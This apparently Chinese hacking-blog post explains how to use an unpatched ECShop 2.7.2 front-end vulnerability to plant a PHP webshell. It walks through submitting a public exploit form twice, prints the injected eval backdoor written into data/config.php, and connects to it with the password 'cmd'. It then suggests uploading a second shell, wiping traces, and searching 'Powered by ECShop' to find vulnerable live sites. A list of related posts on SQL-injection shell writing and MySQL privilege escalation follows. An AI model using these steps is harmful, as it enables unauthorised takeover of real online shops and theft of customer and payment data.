ECSHOP号称最大的开源网店系统,官方是这样介绍它的:“ECShop网店系统是一套免费开源的网上商店软件,无论在稳定性、代码优化、运行效率、负载能力、安全等级、功能可操控性和权限严密性等方面都居国内外同类产品领先地位。

按照我的理解,作为一款网店系统,系统的安全性应该摆在很重要的位置,但ECSHOP却好像漏洞不断。就在前几天,xhming大牛又公布了一个ECSHOP前台写shell的Oday,利用漏洞获得shell非常简单,可以说是秒杀。从官方下载的ECSHOP的最新版本也存在这个漏洞,官方还没有出相应的补丁或对软件进行升级修补这个漏洞。

ECSHOP出现新漏洞对我来说是件好事,因为又有拿shell的漏洞了,哈哈。也希望ECSHOP在漏洞挖掘者的鞭策下能把ECSHOP做的更安全,更优秀,毕竟网店系统涉及网络交易,不是闹着玩的。

一、漏洞简介

出现漏洞的文件是demo目录下的index.php,代码我就不贴出来了!

关于漏洞的详细介绍请看漏洞出处。

二、漏洞利用方法

具体的漏洞分析我也不会,直接来看怎么利用这个漏洞来获得shell。目前ECSHOP的最新版本为,我危险漫步从官方下载了GBK版本的ECShop_V2.7.2pGBK Release0604,在虚拟机的PHPP环境中把ECSHOP安装了起来。

在论坛的一篇文章中xhming给出了一个漏洞利用的EXP,是一个用于提交数据的html文件,两次提交后会自动打开demo/index.php,页面上会显示phpinfo,xhming说了,提

交内容可以随意,言下之意就是你可以自己构造提交内容直接获得shell而不是象征性的执行phpinfo()函数。但并不是每个人都会构造直接获得shell的提交内容,好在Mr.LP在xhming的EXP的基础上修改后给出了可以直接获得shell的EXP。

使用方法:

1.修改form中action的内容为需要网址。

2.提交表单一次。

3.连接一句话木马,密码为cmd。把上面代码保存为exp.html,直接打开发现有乱码。把“charset=utf-8”修改为“charset=gbk”后乱码问题解决了。

用记事本打开exp.html,把提交地址修改为我虚拟机中ECSHOP的提交地址,保存修改后打开exp.html,点“提交”按钮后显示的结果,会把php-句话木马写到data目录下的config.php文件中,用lanker-句话PHP后门客户端连接,密码cmd,发现php-句话木马不能用。

在页面按网页浏览器的后退按钮来到exp.html,点“提交”按钮再提交一次数据。提交完数据后再次用lanker-句话PHP后门客户端连接,这次获得了shell)。

原来要提交两次才能获得shell,这里要注意一下。

通过比较原来的data目录下的config.php和获得shell后的config.php,发现通过两次提交数据向config.php中写入了下面的数据:define('EC_LANGUAGEI',.);@eVal($一POST[cmd]);#');@eval($_POST[cmdl);#’);。建议用获得的shell上传另一个shell上去。然后去掉config.php中新写入的数据。

通过搜索“Powered by ECShop v2,7.2”等可能找到存在这个漏洞的网站。ecshop的前台写shell 0day危险漫步就给大家介绍到这里,自己有ECSHOP网站的朋友等官方出了这个漏洞的补丁后快打上吧,漏洞很严重。这个漏洞利用起来非常简单,只需要写上目标网站的地址点两次“提交”按钮就获得了shell,对存在这个漏洞的网站可以说是秒杀。希望在利用这个漏洞拿shell时不要对网站造成破坏,如果能知道出现这个漏洞的原因并且学习漏洞利用的方法和思路就更好了。

秒杀ecshop的前台写shell 0day的更多相关文章

  1. 使用C#给Linux写Shell脚本(下篇)

    在上篇的<使用C#给Linux写Shell脚本>结尾中,我们留下了一个关于C#如何调用BashShell的问题.在文章发布之后,我留意到有读者留言推荐使用“Pash”(一款类PowerSh ...

  2. 写shell脚本速查笔记

    linux shell脚本的语法蛋疼,而且对于java开发人员来说又不常用,常常是学了一次等到下次用的时候又忘记了.因此制作这个速查笔记,用于要写shell脚本时快速回忆&速查. 获取当前脚本 ...

  3. python中写shell(转)

    python中写shell,亲测可用,转自stackoverflow To run a bash script, copy from stackoverflow def run_script(scri ...

  4. 写shell,运行出错:syntax error near unexpected token `$’do\r”

    cygwin下面写shell,运行出错:syntax error near unexpected token `$’do\r” 写shell,运行出错:syntax error near unexpe ...

  5. 十分钟学会写shell脚本

    大家好!我是handsomecui,下面我为大家讲解一下shell脚本的写法,讲的不好的地方,欢迎大家留言拍砖. 1.在linux下会写shell脚本是非常重要的,下面我参照例子给大家展示几个脚本,顺 ...

  6. 涨姿势:抛弃字母、数字和下划线写SHELL

    PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...

  7. SQL语句利用日志写shell

    outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...

  8. upupw phpmyadmin写shell

    废话: upupw给我的感觉是一个充当了waf毁三观的垃圾程序.然而,我讨厌的程序,管理员都特别喜欢用. 你会发现直接用之前那套写shell的建表然后在值里添加shell代码写到一个路径不可以了. C ...

  9. win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

    今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站   先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...

随机推荐

  1. pip 安装问题

    同时安装了Python2 和Python3的情况下,由于我的电脑默认的是使用Python3,pip的时候直接就安装在3上了,为了让2也安装,办法之一就是在安装python2的路径下比如,D:\Anac ...

  2. YYS FZU - 2278 (期望)JAVA

    题目链接: G - YYS FZU - 2278 题目大意: 我们现在想要收集到n个卡片,现在已知抽到每种卡片的概率为1/n,现在每隔(n-1)!天就可以进行一次抽奖,问收集齐所有卡片的期望天数. 具 ...

  3. javaWeb之使用servlet搭建服务器入门

    servlet: 百度百科说法: Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,主要功能在于交互式地浏览和修改 ...

  4. 零基础入门微信小程序开发

    注:本文来源于:<零基础入门微信小程序开发> 课程介绍 本达人课是一个系列入门教程,目标是从 0 开始带领读者上手实战,课程以微信小程序的核心概念作为主线,介绍配置文件.页面样式文件.Ja ...

  5. VC调用静态库、动态库

    静态库 // 相对路径 或者 绝对路径 #include "yourlib.h" //相对路径 或者 绝对路径 #pragma comment(lib, "yourlib ...

  6. 连接慢的主要原因是DNS解析导致

    连接慢的主要原因是DNS解析导致解决方法: 1.在ssh服务端上更改/etc/ssh/sshd_config文件中的配置为如下内容:UseDNS no# GSSAPI optionsGSSAPIAut ...

  7. Win10安装java环境

    window系统安装java 一.下载JDK 1.首先需要下载java开发工具包JDK,下载地址:http://www.oracle.com/technetwork/java/javase/downl ...

  8. 使用java的Calendar工具类获取到本月的第一天起始时间和最后一天结束时间。

    1.使用java的Calendar工具类获取到本月的第一天起始时间和最后一天结束时间. package com.fline.aic.utils; import java.text.DateFormat ...

  9. spring boot 2.0 neo4j 使用

    参考文档 官方文档 http://spring.io/projects/spring-data-neo4j#learn https://docs.spring.io/spring-data/neo4j ...

  10. 蒙特卡诺近似与PBM

    介绍蒙特卡诺近似的例子代码 #include<fstream> #include<iostream> #include<cstdlib> #include<c ...